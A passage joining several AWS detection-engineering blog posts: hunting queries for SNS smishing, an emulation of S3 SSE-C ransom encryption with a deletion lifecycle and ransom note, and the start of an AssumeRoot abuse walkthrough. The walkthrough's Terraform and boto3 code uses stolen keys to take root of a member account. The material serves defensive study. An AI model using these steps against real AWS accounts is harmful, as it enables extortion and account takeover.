| DISSECT aws.cloudtrail.user_identity.arn "%{?}:assumed-role/%{assumed_role_name}/%{entity}"
| DISSECT user_agent.original "%{user_agent_name} %{?user_agent_remainder}"
| WHERE STARTS_WITH(entity, "i-")
| STATS regional_topic_publish_count = COUNT(*) by cloud.account.id, entity, assumed_role_name, topic_arn, cloud.region, user_agent_name
| SORT regional_topic_publish_count ASC

Hunting Notes:

• If a user identity access key (aws.cloudtrail.user_identity.access_key_id) exists in the CloudTrail audit log, then this request was accomplished via the CLI or programmatically. These keys could be compromised and warrant further investigation.
• If you notice Terraform, Pulumi, etc. it may be related to testing environments, maintenance or more.
• Python SDKs that are not AWS, may indicate custom tooling or scripts being leveraged.

SNS Direct-to-Phone Messaging Spike

Hunting Query Source
MITRE ATT&CK: T1660

Our hunting efforts for hypothesized SNS compromise—where an adversary is conducting phishing (smishing) campaigns—focus on Publish API actions in AWS SNS. Specifically, we track instances where phoneNumber is present in request parameters, signaling that messages are being sent directly to phone numbers rather than through an SNS topic.

Notably, instead of relying on SNS topics with pre-subscribed numbers, the adversary exploits an organization’s production Endpoint Messaging permissions, leveraging:

• An approved Origination ID (if the organization has registered one).
• A Sender ID (if the adversary controls one or can spoof a trusted identifier).
• AWS long codes or short codes (which may be dynamically assigned).

Since AWS SNS sanitizes logs, phone numbers are not visible in CloudTrail, but deeper analysis in CloudWatch or third-party monitoring tools may help.

Hunting Query (ES|QL)

This query detects a spike in direct SNS messages, which may indicate smishing campaigns from compromised AWS accounts.

from logs-aws.cloudtrail-*
| WHERE @timestamp > now() - 7 day
| EVAL target_time_window = DATE_TRUNC(10 seconds, @timestamp)
| WHERE
    event.dataset == "aws.cloudtrail" AND
    event.provider == "sns.amazonaws.com" AND
    event.action == "Publish" AND
    event.outcome == "success" AND
    aws.cloudtrail.request_parameters LIKE "*phoneNumber*"
| DISSECT user_agent.original "%{user_agent_name} %{?user_agent_remainder}"
| STATS sms_message_count = COUNT(*) by target_time_window, cloud.account.id, aws.cloudtrail.user_identity.arn, cloud.region, source.address, user_agent_name
| WHERE sms_message_count > 30

Hunting Notes:

• AWS removes phone numbers in logs, so deeper analysis via CloudWatch logs may be necessary.
• While investigating in CloudWatch, the message context is also sanitized. It would be ideal to investigate the message for any suspicious URL links being embedded in the text messages.
• You can also review AWS SNS delivery logs (if enabled) for message metadata.
• If messages are not using a topic-based subscription, it suggests direct targeting.
• The source of these requests is important, if you notice them from an EC2 instance, that is rather odd or Lambda may be an expected serverless code.

Takeaways

Thank you for taking the time to read this publication on AWS SNS Abuse: Data Exfiltration and Phishing. We hope this research provides valuable insights into how adversaries can leverage AWS SNS for data exfiltration, smishing and phishing campaigns, as well as practical detection and hunting strategies to counter these threats.

Key Takeaways:

• AWS SNS is a powerful service, but can be misused for malicious purposes, including phishing (smishing) and data exfiltration.
• Adversaries may abuse production SNS permissions using pre-approved Sender IDs, Origination IDs, or long/short codes to send messages outside an organization.
• Threat actors may weaponize misconfigurations in IAM policies, CloudTrail logging gaps and SNS API limitations to fly under the radar.
• While in-the-wild (ItW) abuse of SNS is not frequently reported, we are confident that its weaponization and targeted exploitation are already occurring or will emerge eventually.
• AWS CloudTrail does not capture phone numbers or messages in SNS logs, making CloudWatch third-party monitoring essential for deeper analysis
• Threat hunting queries can help detect SNS topics being created, subscribed to, or receiving a spike in direct messages, signaling potential abuse.
• Detection strategies include monitoring SNS API actions, identifying unusual SNS message spikes and flagging anomalies from EC2 or Lambda sources.
• Defensive measures should include IAM policy hardening, CloudTrail & SNS logging, anomaly-based detections and security best practices as recommended by AWS to reduce attack surface.

AWS SNS is often overlooked in security discussions, but as this research shows, it presents a viable attack vector for adversaries if left unmonitored. We encourage defenders to stay proactive, refine detection logic, and implement robust security controls to mitigate these risks and increase security posture.

Thanks for reading and happy hunting!

References

• https://www.sentinelone.com/labs/sns-sender-active-campaigns-unleash-messaging-spam-through-the-cloud/
• https://permiso.io/blog/s/smishing-attack-on-aws-sms-new-phone-who-dis/
• https://catalog.workshops.aws/build-sms-program/en-US

Welcome to another installment of AWS detection engineering with Elastic. You can read the previous installment on STS AssumeRoot here.

In this article, we’ll explore how threat actors leverage Amazon S3’s Server-Side Encryption with Customer-Provided Keys (SSE-C) for ransom/extortion operations. This contemporary abuse tactic demonstrates the creative ways adversaries can exploit native cloud services to achieve their monetary goals.

As a reader, you’ll gain insights into the inner workings of S3, SSE-C workflows, and bucket configurations. We’ll also walk through the steps of this technique, discuss best practices for securing S3 buckets, and provide actionable guidance for crafting detection logic to identify SSE-C abuse in your environment.

This research builds on a recent publication by the Halcyon Research Team, which documented the first publicly known case of in-the-wild (ItW) abuse of SSE-C for ransomware behavior. Join us as we dive deeper into this emerging threat and demonstrate how to stay ahead of adversaries.

We have published a gist containing the Terraform code and emulation script referenced in this blog. This content is provided for educational and research purposes only. Please use it responsibly and in accordance with applicable laws and guidelines. Elastic assumes no liability for any unintended consequences or misuse.

Do enjoy!

Understanding AWS S3: Key Security Concepts and Features

Before we dive directly into emulation and these tactics, techniques, and procedures (TTPs), let’s briefly review what AWS S3 includes.

S3 is AWS’ common storage service that allows users to store any unstructured or structured data in “buckets”. These buckets are similar to folders that one would find locally on their computer system. The data stored in these buckets are called objects, and each object is uniquely identified by an object key, which functions like a filename. S3 supports many data formats, from JSON to media files and much more, making it ideal for a variety of organizational use cases.

Buckets can be set up to store objects from various AWS S3 services, but they can also be populated manually or programmatically depending on the use case. Additionally, buckets can leverage versioning to maintain multiple versions of objects, which provides resilience against accidental deletions or overwrites. However, versioning is not always enabled by default, leaving data vulnerable to certain types of attacks, such as those involving ransomware or bulk deletions. Buckets can be set up to store objects from various AWS S3 services, but they can also be populated manually or programmatically depending on the use case. Additionally, buckets can leverage versioning to maintain multiple versions of objects, which provides resilience against accidental deletions or overwrites. However, versioning is not always enabled by default, leaving data vulnerable to certain types of attacks, such as those involving ransomware or bulk deletions.

Access to these buckets depends heavily on their access policies, typically defined during creation. These policies include settings such as disabling public access to prevent unintended exposure of bucket contents. Configuration doesn’t stop there, though; buckets also have their own unique Amazon Resource Name (ARN), which allows further granular access policies to be defined via identity access management (IAM) roles or policies. For example, if user “Alice” needs access to a bucket and its objects, specific permissions such as s3:GetObject, must be assigned to their IAM role. That role can either be applied directly to Alice as a permission policy or to an associated group they belong to.

While these mechanisms seem foolproof, misconfigurations in access controls (e.g., overly permissive bucket policies or access control lists) are a common cause of security incidents. For example, as of this writing, approximately 325.8k buckets are publicly available according to buckets.grayhatwarfare.com. Elastic Security Labs also observed that 30% of failed AWS posture checks were connected to S3 in the 2024 Elastic Global Threat Report.

Server-Side Encryption in S3
S3 provides multiple encryption options for securing data at rest. These include:

• SSE-S3: Encryption keys are fully managed by AWS.
• SSE-KMS: Keys are managed through AWS Key Management Service (KMS), allowing for more custom key policies and access control — see how these are implemented in Elastic.
• SSE-C: Customers provide their own encryption keys for added control. This option is often used for compliance or specific security requirements but introduces additional operational overhead, such as securely managing and storing keys. Importantly, AWS does not store SSE-C keys; instead, a key’s HMAC (hash-based message authentication code) is logged for verification purposes.

In the case of SSE-C, mismanagement of encryption keys or intentional abuse (e.g., ransomware) can render data permanently inaccessible.

Lifecycle Policies

S3 buckets can also utilize lifecycle policies, which automate actions such as transitioning objects to cheaper storage classes (e.g., Glacier) or deleting objects after a specified time. While these policies are typically used for cost optimization, they can be exploited by attackers to schedule the deletion of critical data, increasing pressure during a ransom incident.

Storage Classes

Amazon S3 provides multiple storage classes, each designed for different access patterns and frequency needs. While storage classes are typically chosen for cost optimization, understanding them is crucial when considering how encryption and security interact with data storage.

For example, S3 Standard and Intelligent-Tiering ensure frequent access with minimal latency, making them suitable for live applications. On the other hand, archival classes like Glacier Flexible Retrieval and Deep Archive introduce delays before data can be accessed, which can complicate incident response in security scenarios.

This becomes particularly relevant when encryption is introduced. Server-Side Encryption (SSE) works across all storage classes, but SSE-C (Customer-Provided Keys) shifts the responsibility of key management to the user or adversary. Unlike AWS-managed encryption (SSE-S3, SSE-KMS), SSE-C requires that every retrieval operation supplies the original encryption key — and if that key is lost or not given by an adversary, the data is permanently unrecoverable.

With this understanding, a critical question arises about the implications of SSE-C abuse observed in the wild: What happens when an attacker gains access to publicly exposed or misconfigured S3 buckets and has control over both the storage policy and encryption keys?

Thus Begins: SSE-C Abuse for Ransom Operations

In the following section, we will share a hands-on approach to emulating this behavior in our sandbox AWS environment by completing the following:

1. Deploy vulnerable infrastructure via Infrastructure-as-Code (IaC) provider Terraform
2. Explore how to craft SSE-C requests in Python
3. Detonate a custom script to emulate the ransom behavior described in the Halcyon blog

Pre-requisites

This article is about recreating a specific scenario for detection engineering. If this is your goal, the following needs to be established first.

• Terraform must be installed locally
• Python 3.9+ must also be installed locally to be used for the virtual environment and to run an emulation script
• AWS CLI profile must be set up with administrative privileges to be used by Terraform during infrastructure deployment

Deploying Vulnerable Infrastructure

For our whitebox emulation, it is important to replicate an S3 configuration that an organization might have in a real-world scenario. Below is a summary of the infrastructure deployed:

• Region: us-east-1 (default deployment region)
• S3 Bucket: A uniquely named payroll data bucket that contains sensitive data and allows adversary-controlled encryption
• Bucket Ownership Controls: Enforces "BucketOwnerEnforced" to prevent ACL-based permissions
• Public Access Restrictions: Public access is fully blocked to prevent accidental exposure
• IAM User: A compromised adversary-controlled IAM user with excessive S3 permissions;no login profile is assigned, as access key credentials are used programmatically elsewhere for automated tasks
• IAM Policy: At both bucket and object levels, adversaries have authorization to:
  • s3:GetObject
  • s3:PutObject
  • s3:DeleteObject
  • s3:PutLifecycleConfiguration
  • s3:ListObjects
  • s3:ListBucket
• Applied at both bucket and object levels
• IAM Access Keys: Access keys are generated for the adversary user, allowing programmatic access
• Dummy Data: Simulated sensitive data (customer_data.csv) is uploaded to the bucket

Understanding the infrastructure is critical for assessing how this type of attack unfolds. The Halcyon blog describes the attack methodology but provides little detail on the specific AWS configuration of the affected organizations. These details are essential for determining the feasibility of such an attack and the steps required for successful execution.

Bucket Accessibility and Exposure

For an attack of this nature to occur, an adversary must gain access to an S3 bucket through one of two primary methods:

Publicly Accessible Buckets: If a bucket is misconfigured with a public access policy, an adversary can directly interact with it, provided the bucket’s permission policy allows actions such as s3:PutObject, s3:DeleteObject, or s3:PutLifecycleConfiguration. These permissions are often mistakenly assigned using a wildcard (*) principal, meaning anyone can execute these operations.

Compromised Credentials: If an attacker obtains AWS credentials (via credential leaks, phishing, or malware), they can authenticate as a legitimate IAM user and interact with S3 as if they were the intended account owner.

In our emulation, we assume the bucket is not public, meaning the attack relies on compromised credentials. This requires the adversary to have obtained valid AWS access keys and to have performed cloud infrastructure discovery to identify accessible S3 buckets. This is commonly done using AWS API calls, such as s3:ListAllMyBuckets, s3:ListBuckets, or s3:ListObjects, which reveal buckets and their contents in specific regions.

Required IAM Permissions for Attack Execution: To encrypt files using SSE-C and enforce a deletion policy successfully, the adversary must have appropriate IAM permissions. In our emulation, we configured explicit permissions for the compromised IAM user, but in a real-world scenario, multiple permission models could allow this attack:

• Custom Overly-Permissive Policies: Organizations may unknowingly grant broad S3 permissions without strict constraints.
• AWS-Managed Policies: The adversary may have obtained credentials associated with a user or role that has AmazonS3FullAccess or AdministratorAccess.
• Partial Object-Level Permissions: If the IAM user had AllObjectActions, this would only allow object-level actions but would not grant lifecycle policy modifications or bucket listing, which are necessary to retrieve objects and then iterate them to encrypt and overwrite.

The Halcyon blog does not specify which permissions were abused, but our whitebox emulation ensures that the minimum necessary permissions are in place for the attack to function as described.

The Role of the Compromised IAM User
Another critical factor is the type of IAM user whose credentials were compromised. In AWS, an adversary does not necessarily need credentials for a user that has an interactive login profile. Many IAM users are created exclusively for programmatic access and do not require an AWS Management Console password or Multi-Factor Authentication (MFA), both of which could serve as additional security blockers.

This means that if the stolen credentials belonging to an IAM user are used for automation or service integration, the attacker would have an easier time executing API requests without additional authentication challenges.

While the Halcyon blog effectively documents the technique used in this attack, it does not include details about the victim's underlying AWS configuration. Understanding the infrastructure behind the attacks — such as bucket access, IAM permissions, and user roles — is essential to assessing how these ransom operations unfold in practice. Since these details are not provided, we must make informed assumptions to better understand the conditions that allowed the attack to succeed.

Our emulation is designed to replicate the minimum necessary conditions for this type of attack, ensuring a realistic assessment of defensive strategies and threat detection capabilities. By exploring the technical aspects of the infrastructure, we can provide deeper insights into potential mitigations and how organizations can proactively defend against similar threats.

Setting Up Infrastructure

For our infrastructure deployment, we utilize Terraform as our IaC framework. To keep this publication streamlined, we have stored both the Terraform configuration and the atomic emulation script in a downloadable gist for easy access. Below is the expected local file structure once these files are downloaded.

After setting up the required files locally, you can create a Python virtual environment for this scenario and install the necessary dependencies. Once the environment is configured, the following command will initialize Terraform and deploy the infrastructure:

Command: python3 s3\_sse\_c\_ransom.py deploy

Once deployment is complete, the required AWS infrastructure will be in place to proceed with the emulation and execution of the attack. It’s important to note that public access is blocked, and the IAM policy is only applied to the dynamically generated IAM user for security reasons. However, we strongly recommend tearing down the infrastructure once testing is complete or after capturing the necessary data.

If you happen to log in to your AWS console or use the CLI, you can verify that the bucket in the us-east-1 region exists and contains customer_data.csv, which, when downloaded, will be in plaintext. You will also note that no “ransom.note” exists either.

Explore How to Craft S3 SSE-C Requests in Python

Before executing the atomic emulation, it is important to explore the underlying tradecraft that enables an adversary to successfully carry out this attack ItW.

For those familiar with AWS, S3 operations — such as accessing buckets, listing objects, or encrypting data — are typically straightforward when using the AWS SDKs or AWS CLI. These tools abstract much of the complexity, allowing users to execute operations without needing a deep understanding of the underlying API mechanics. This also lowers the knowledge barrier for an adversary attempting to abuse these functionalities.

However, the Halcyon blog notes a critical technical detail about the attack execution:

“The attacker initiates the encryption process by calling the x-amz-server-side-encryption-customer-algorithm header, utilizing an AES-256 encryption key they generate and store locally.”

The key distinction here is the use of the x-amz-server-side-encryption-customer-algorithm header, which is required for encryption operations in this attack. According to AWS documentation, this SSE-C header is typically specified when creating pre-signed URLs and leveraging SSE-C in S3. This means that the attacker not only encrypts the victim's data but does so in a way that AWS itself does not store the encryption key, rendering recovery impossible without the attacker's cooperation.

Pre-Signed URLs and Their Role in SSE-C Abuse

What are pre-signed URLs?
Pre-signed URLs are signed API requests that allow users to perform specific S3 operations for a limited time. These URLs are commonly used to securely share objects without exposing AWS credentials. A pre-signed URL grants temporary access to an S3 object and can be accessed through a browser or used programmatically in API requests.

In a typical AWS environment, users leverage SDKs or CLI wrappers for pre-signed URLs. However, when using SSE-C, AWS requires additional headers for encryption or decryption.

SSE-C and Required HTTP Headers
When making SSE-C requests — either via the AWS SDK or direct S3 REST API calls — the following headers must be included:

• x-amz-server-side​-encryption​-customer-algorithm: Specify the encryption algorithm, but must be AES256 (Noted in Halcyon’s report)
• x-amz-server-side​-encryption​-customer-key: Provides a 256-bit, base64-encoded encryption key for S3 to use to encrypt or decrypt your data
• x-amz-server-side​-encryption​-customer-key-MD5: Provides a base64-encoded 128-bit MD5 digest of the encryption key; S3 uses this header for a message integrity check to ensure that the encryption key was transmitted without error or tampering

When looking for detection opportunities, these details are crucial.

AWS Signature Version 4 (SigV4) and Its Role

Requests to S3 are either authenticated or anonymous. Since SSE-C encryption with pre-signed URLs requires authentication, all requests must be cryptographically signed to prove their legitimacy. This is where AWS Signature Version 4 (SigV4) comes in.

AWS SigV4 is an authentication mechanism that ensures API requests to AWS services are signed and verified. This is particularly important for SSE-C operations, as modifying objects in S3 requires authenticated API calls.

For this attack, each encryption request must be signed by:

1. Generating a cryptographic signature using AWS SigV4
2. Including the signature in the request headers
3. Attaching the necessary SSE-C encryption headers
4. Sending the request to S3 to overwrite the object with the encrypted version

Without proper SigV4 signing, AWS would reject these requests. Attacks like the one described by Halcyon rely on compromised credentials, and we know that because the requests were not rejected in our testing. It also suggests that adversaries know they can abuse AWS S3 misconfigurations like improper signing requirements and understand the intricacies of buckets and their respect object access controls.This reinforces the assumption that the attack relied on compromised AWS credentials rather than an exposed, publicly accessible S3 bucket and that the adversaries were skilled enough to understand the nuances with not only S3 buckets and objects but also authentication and encryption in AWS.

Detonating our Atomic Emulation

Our atomic emulation will use the “compromised” credentials of the IAM user with no login profile who has a permission policy attached that allows several S3 actions to our target bucket. As a reminder, the infrastructure and environment we are conducting this in was deployed from the “Setting Up Infrastructure” section referencing our shared gist.

Below is a step-by-step workflow of the emulation.

1. Load stolen AWS credentials (Retrieved from environment variables)
2. Establish S3 client with compromised credentials
3. Generate S3 endpoint URL (Construct the bucket’s URL)
4. Enumerate S3 objects → s3:ListObjectsV2 (Retrieve object list)
5. Generate AES-256 encryption key (Locally generated)
6. Start Loop (For each object in bucket)
   1. Generate GET request & sign with AWS SigV4 (authenticate request)
   2. Retrieve object from S3 → s3:GetObject (fetch unencrypted data)
   3. Generate PUT request & sign with AWS SigV4 (attach SSE-C headers)
   4. Encrypt & overwrite object in S3 → s3:PutObject (encrypt with SSE-C)
7. End loop
8. Apply 7-Day deletion policy → s3:PutLifecycleConfiguration (time-restricted data destruction)
9. Upload ransom note to S3 → s3:PutObject (Extortion message left for victim)

Below is a visual representation of this emulation workflow:

In our Python script, we have intentionally added prompts that require user interaction to confirm they agree to not abuse this script. Another prompt generated during detonation that stalls execution for the user to give time for AWS investigation if necessary before deleting the S3 objects. Since SSE-C is used, the objects are then encrypted with a key the terraform does not have acces to and thus would fail.

Command: python s3\_sse\_c\_ransom.py detonate

After detonation, the objects in our S3 bucket will be encrypted with SSE-C, a ransom note will have been uploaded, and an expiration lifecycle will have been added.

If you try to access the customer_data.csv object, AWS will reject the request because it was stored using server-side encryption. To retrieve the object, a signed request that includes the correct AES-256 encryption key is required.

Cleanup

Cleanup for this emulation is relatively simple. If you choose to keep the S3 objects, start with Step 1, otherwise go straight to step 5.

1. Go to us-east-1 region
2. navigate to S3
3. locate the s3-sse-c-ransomware-payroll-XX bucket
4. remove all objects
5. Command: python s3\_sse\_c\_ransom.py cleanup

Once completed, everything deployed initially will be removed.

Detection and Hunting Strategies

After our atomic emulation, it’s critical to share how we can effectively detect this ransom behavior based on the API event logs provided by AWS’ CloudTrail. Note that we will be leveraging Elastic Stack for data ingestion and initial query development; however, the query logic and context should be translatable to your SIEM of choice. It is also important to note that data events for S3 in your CloudTrail configuration should be set to “Log all events.”

Unusual AWS S3 Object Encryption with SSE-C

The goal of this detection strategy is to identify PutObject requests that leverage SSE-C, as customer-provided encryption keys can be a strong indicator of anomalous activity — especially if an organization primarily uses AWS-managed encryption through KMS (SSE-KMS) or S3's native encryption (SSE-S3).

In our emulation, PutObject requests were configured with the x-amz-server-side-encryption-customer-algorithm header set to AES256, signaling to AWS that customer-provided keys were used for encryption (SSE-C).

Fortunately, AWS CloudTrail logs these encryption details within request parameters, allowing security teams to detect unusual SSE-C usage. Key CloudTrail attributes to monitor include:

• SignatureVersion: SigV4 → Signals that this request was signed
• SSEApplied: SSE_C → Signals that server-side customer key encryption was used
• bucketName: s3-sse-c-ransomware-payroll-96 → Signals which bucket this happened to
• x-amz-server-side-encryption-customer-algorithm: AES256 → Signals which algorithm was used for the customer encryption key
• key: customer_data.csv → Indicates the name of the object this was applied to

With these details we can already craft a threat detection query that would match these events and ultimately the threat reported in the original Halcyon blog.

While this detection is broad, organizations should tailor it to their environment by asking:

• Do we expect pre-signed URLs with SigV4 for S3 bucket or object operations?
• Do we expect SSE-C to be used for PutObject operations in S3 or this specific bucket?

Reducing False-Positives With New Term Rule Types
To minimize false positives (FPs), we can leverage Elastic’s New Terms rule type, which helps detect first-time occurrences of suspicious activity. Instead of alerting on every match, we track unique combinations of IAM users and affected S3 buckets, only generating an alert when this behavior is observed for the first time within a set period. Some of the unique combinations we watch for are:

• Unique IAM users (ARNs) performing SSE-C encryption in S3.
• Specific buckets where SSE-C is applied.

These alerts only trigger if this activity has been observed for the first time in the last 14 days.

This adaptive approach ensures that legitimate use cases are learned over time, preventing repeated alerts on expected operations. At the same time, it flags anomalous first-time occurrences of SSE-C in S3, aiding in early threat detection. As needed, rule exceptions can be added for specific user identity ARNs, buckets, objects, or even source IPs to refine detection logic. By incorporating historical context and behavioral baselines, this method enhances signal fidelity, improving both the effectiveness of detections and the actionability of alerts.

Rule References

Unusual AWS S3 Object Encryption with SSE-C
Excessive AWS S3 Object Encryption with SSE-C

Conclusion

We sincerely appreciate you taking the time to read this publication and, if you did, for trying out the emulation yourself. Whitebox testing plays a crucial role in cloud security, enabling us to replicate real-world threats, analyze their behavioral patterns, and develop effective detection strategies. With cloud-based attacks becoming increasingly prevalent, it is essential to understand the tooling behind adversary tactics and to share research findings with the broader security community.

If you're interested in exploring our AWS detection ruleset, you can find it here: Elastic AWS Detection Rules. We also welcome contributions to enhance our ruleset—your efforts help strengthen collective defenses, and we greatly appreciate them!

We encourage anyone with interest to review Halcyon’s publication and thank them ahead of time for sharing their research!

Until next time.

Important References:

Halcyon Research Blog on SSE-C ItW
Elastic Emulation Code for SSE-C in AWS
Elastic Pre-built AWS Threat Detection Ruleset
Elastic Pre-built Detection Rules Repository
Rule: Unusual AWS S3 Object Encryption with SSE-C
Rule: Excessive AWS S3 Object Encryption with SSE-C

Welcome to another installment of AWS detection engineering with Elastic. This article will dive into the new AWS Security Token Service(STS) API operation, AssumeRoot, simulate some practical behavior in a sandbox AWS environment, and explore detection capabilities within Elastic’s SIEM.

What to expect from this article:

• Basic insight into AWS STS web service
• Insight into STS’ AssumeRoot API operation
• Threat scenario using AssumeRoot with Terraform and Python code
• Detection and hunting opportunities for potential AssumeRoot abuse

Understanding AWS STS and the AssumeRoot API

AWS Security Token Service (STS) is a web service that enables users, accounts, and roles to request temporary, limited-privilege credentials. For IAM users, their accounts are typically registered in AWS Identity and Access Management (IAM), where either a login profile is attached for accessing the console or access keys, and secrets are created for programmatic use by services like Lambda, EC2, and others.

While IAM credentials are persistent, STS credentials are temporary. These credentials - comprising an access key, secret key, and session token - are granted upon request and are valid for a specific period. Requests are typically sent to the global sts.amazonaws.com endpoint, which responds with temporary credentials for a user or role. These credentials can then be used to access other AWS services on behalf of the specified user or role, as long as the action is explicitly allowed by the associated permission policy.

This process is commonly known as assuming a role, executed via the AssumeRole API. It is frequently used in AWS environments and organizations for various scenarios. For example:

• An EC2 instance with an attached role will automatically use AssumeRole to retrieve temporary credentials for API requests.
• Similarly, Lambda functions often invoke AssumeRole to authenticate and perform their designated actions.

Although AssumeRole is incredibly useful, it can pose a risk if roles are over-permissioned by the organization. Misconfigured policies with excessive permissions can allow adversaries to abuse these roles, especially in environments where the Principle of Least Privilege (PoLP) is not strictly enforced. Note that the security risks associated with AssumeRole are typically attributed to misconfigurations or not following best security practices by organizations. These are not the result of AssumeRole or even AssumeRoot development decisions.

Introduction to AssumeRoot

AWS recently introduced the AssumeRoot API operation to STS. Similar to AssumeRole, it allows users to retrieve temporary credentials - but specifically for the root user of a member account in an AWS organization.

What Are Member Accounts?

In AWS, member accounts are separate accounts within an organization that have their own IAM users, services, and roles. These accounts are distinct from the management account, but they still fall under the same organizational hierarchy. Each AWS organization is created with a unique root account tied to the email address used during its setup. Similarly, every member account requires a root user or email address at the time of its creation, effectively establishing its own root identity.

How Does AssumeRoot Work?

When a privileged user in the management account needs root-level privileges for a member account, they can use the AssumeRoot API to retrieve temporary credentials for the member account's root user. Unlike AssumeRole, where the target principal is a user ARN, the target principal for AssumeRoot is the member account ID itself. Additionally, a task policy ARN must be specified, which defines the specific permissions allowed with the temporary credentials.

Here are the available task policy ARNs for AssumeRoot:

• IAMAuditRootUserCredentials
• IAMCreateRootUserPassword
• IAMDeleteRootUserCredentials
• S3UnlockBucketPolicy
• SQSUnlockQueuePolicy

Potential Abuse of Task Policies

While these predefined task policies limit what can be done with AssumeRoot, their scope can still be theoretically abused in the right circumstances. For example:

• IAMCreateRootUserPassword: This policy grants the iam:CreateLoginProfile permission, allowing the creation of a login profile for a user that typically doesn't require console access. If an adversary gains access to programmatic credentials, they could create a login profile and gain console access to the account that is more persistent.
• IAMDeleteRootUserCredentials: This policy allows the deletion of root credentials, but also grants permissions like iam:ListAccessKeys and iam:ListMFADevices. These permissions could help an adversary gather critical information about access credentials or MFA configurations for further exploitation.

AssumeRoot in Action

Now that we understand how AssumeRoot works at a high level, how it differs from AssumeRole, and the potential risks associated with improper security practices, let’s walk through a practical scenario to simulate its usage. It should be noted that this is one of many potential scenarios where AssumeRoot may or could be abused. As of this article's publication, no active abuse has been reported in the wild, as expected with a newer AWS functionality.

Below is a simple depiction of what we will accomplish in the following sections:

Before diving in, it’s important to highlight that we’re using an admin-level IAM user configured as the default profile for our local AWS CLI. This setup enables us to properly configure the environment using Terraform and simulate potential threat scenarios in AWS for detection purposes.

Member Account Creation

The first step is to enable centralized root access for member accounts, as outlined in the AWS documentation. Centralized root access allows us to group all AWS accounts into a single organization, with each member account having its own root user.

Next, we manually create a member account within our organization through the Accounts section in the AWS Management Console. For this scenario, the key requirement is to note the member account ID, a unique 12-digit number. For our example, we’ll assume this ID is 000000000001 and name it AWSAssumeRoot. Centralized management of AWS accounts is a common practice for organizations that may separate different operational services into separate AWS accounts but want to maintain centralized management.

We also add the member account as the delegated administrator for centralized root access as well, which allows that root member account to have centralized root access for any other member accounts of the organization.

While we won’t cover it in depth, we have also enabled the new Resource control policies (RCPs) within Identity and Access Management (IAM), which will allow central administration over permissions granted to resources within accounts in our organization, but by default, the RCPFullAWSAccess policy allows all permissions to all services for all principals and is attached directly to root.

Environment Setup

For our simulation, we use Terraform to create an overly permissive IAM user named compromised_user. This user is granted the predefined AdministratorAccess policy, which provides admin-level privileges. Additionally, we generated an access key for this user while intentionally omitting a login profile to reflect a typical setup where credentials are used programmatically. This is not an uncommon practice, especially in developer environments.

Below is the main.tf configuration used to create the resources:

provider "aws" {
  region = var.region
}

data "aws_region" "current" {}

# Create an IAM user with AdministratorAccess (simulated compromised user)
resource "aws_iam_user" "compromised_user" {
  name = "CompromisedUser"
}

# Attach AdministratorAccess Policy to the compromised user
resource "aws_iam_user_policy_attachment" "compromised_user_policy" {
  user       = aws_iam_user.compromised_user.name
  policy_arn = "arn:aws:iam::aws:policy/AdministratorAccess"
}

# Create access keys for the compromised user
resource "aws_iam_access_key" "compromised_user_key" {
  user = aws_iam_user.compromised_user.name
}

We also define an outputs.tf file to capture key details about the environment, such as the region, access credentials, and the user ARN:

output "aws_region" {
  description = "AWS Region where the resources are deployed"
  value       = var.region
}

output "compromised_user_access_key" {
  value       = aws_iam_access_key.compromised_user_key.id
  sensitive   = true
  description = "Access key for the compromised IAM user"
}

output "compromised_user_secret_key" {
  value       = aws_iam_access_key.compromised_user_key.secret
  sensitive   = true
  description = "Secret key for the compromised IAM user"
}

output "compromised_user_name" {
  value       = aws_iam_user.compromised_user.name
  description = "Name of the compromised IAM user"
}

output "compromised_user_arn" {
  value       = aws_iam_user.compromised_user.arn
  description = "ARN of the compromised IAM user"
}

Once we run terraform apply, the configuration creates a highly permissive IAM user (compromised_user) with associated credentials. These credentials simulate those that an adversary might obtain for initial access or escalating privileges.

This is one of the first hurdles for an adversary, collecting valid credentials. In today’s threat landscape information stealer malware and phishing campaigns are more common than ever, aimed at obtaining credentials that can be sold or used for lateral movement. While this is a hurdle, the probability of compromised credentials for initial access is high - such as those with SCATTERED SPIDER and SCARLETEEL.

Establish an STS Client Session with Stolen Credentials

The next step is to establish an STS client session using the compromised credentials (compromised_user access key and secret key). This session allows the adversary to make requests to AWS STS on behalf of the compromised user.

Here’s the Python code to establish the STS client using the AWS Boto3 SDK (the AWS SDK used to create, configure, and manage AWS services, such as Amazon EC2 and Amazon S3). This Python code is used to create the STS client with stolen IAM user credentials:

 sts_client = boto3.client(
     "sts",
     aws_access_key_id=compromised_access_key,
     aws_secret_access_key=compromised_secret_key,
     region_name=region,
     endpoint_url=f'https://sts.{region}.amazonaws.com'
 )

Note: During testing, we discovered that the endpoint_url must explicitly point to https://sts.<region>.amazonaws.com. Omitting this may result in an InvalidOperation error when attempting to invoke the AssumeRoot API.

This STS client session forms the foundation for simulating an adversary's actions as we have taken compromised credentials and initiated our malicious actions.

Assume Root for Member Account on Behalf of Compromised User

After establishing an STS client session as the compromised user, we can proceed to call the AssumeRoot API. This request allows us to assume the root identity of a member account within an AWS Organization. For the request, the TargetPrincipal is set to the member account ID we obtained earlier, the session duration is set to 900 seconds (15 minutes), and the TaskPolicyArn is defined as IAMCreateRootUserPassword. This policy scopes the permissions to actions related to creating or managing root login credentials.

A notable permission included in this policy is CreateLoginProfile, which enables the creation of a login password for the root user. This allows access to the AWS Management Console as the root user.

Below is the Python code to assume root of member account 000000000001, with permissions scoped by IAMCreateRootUserPassword.

response = sts_client.assume_root(
    TargetPrincipal=member_account_id,
    DurationSeconds=900,
    TaskPolicyArn={"arn": "arn:aws:iam::aws:policy/root-task/IAMCreateRootUserPassword"},
)
root_temp_creds = response["Credentials"]

If the AssumeRoot request is successful, the response provides temporary credentials (root_temp_creds) for the root account of the target member. These credentials include an access key, secret key, and session token, enabling temporary root-level access for the duration of the session.

Creating a Login Profile for the Member Root Account

With temporary root credentials in hand, the next step is to establish an authenticated IAM client session as the root user of the member account. Using this session, we can call the create_login_profile() method. This method allows us to assign a login password to the root user, enabling console access.

The following Python code establishes an authenticated IAM client and creates a login profile:

iam_client = boto3.client(
    "iam",
    aws_access_key_id=root_temp_creds["AccessKeyId"],
    aws_secret_access_key=root_temp_creds["SecretAccessKey"],
    aws_session_token=root_temp_creds["SessionToken"],
)

response = iam_client.create_login_profile()

It’s worth noting that the create_login_profile() method requires no explicit parameters for the root user, as it acts on the credentials of the currently authenticated session. In this case, it will apply to the root user of the member account.

Reset the Administrator Password and Login to the AWS Console

At this stage, we’re nearly complete! Let’s recap the progress so far:

1. Using compromised IAM user credentials, we established an STS session to assume the identity of an overly permissive user.
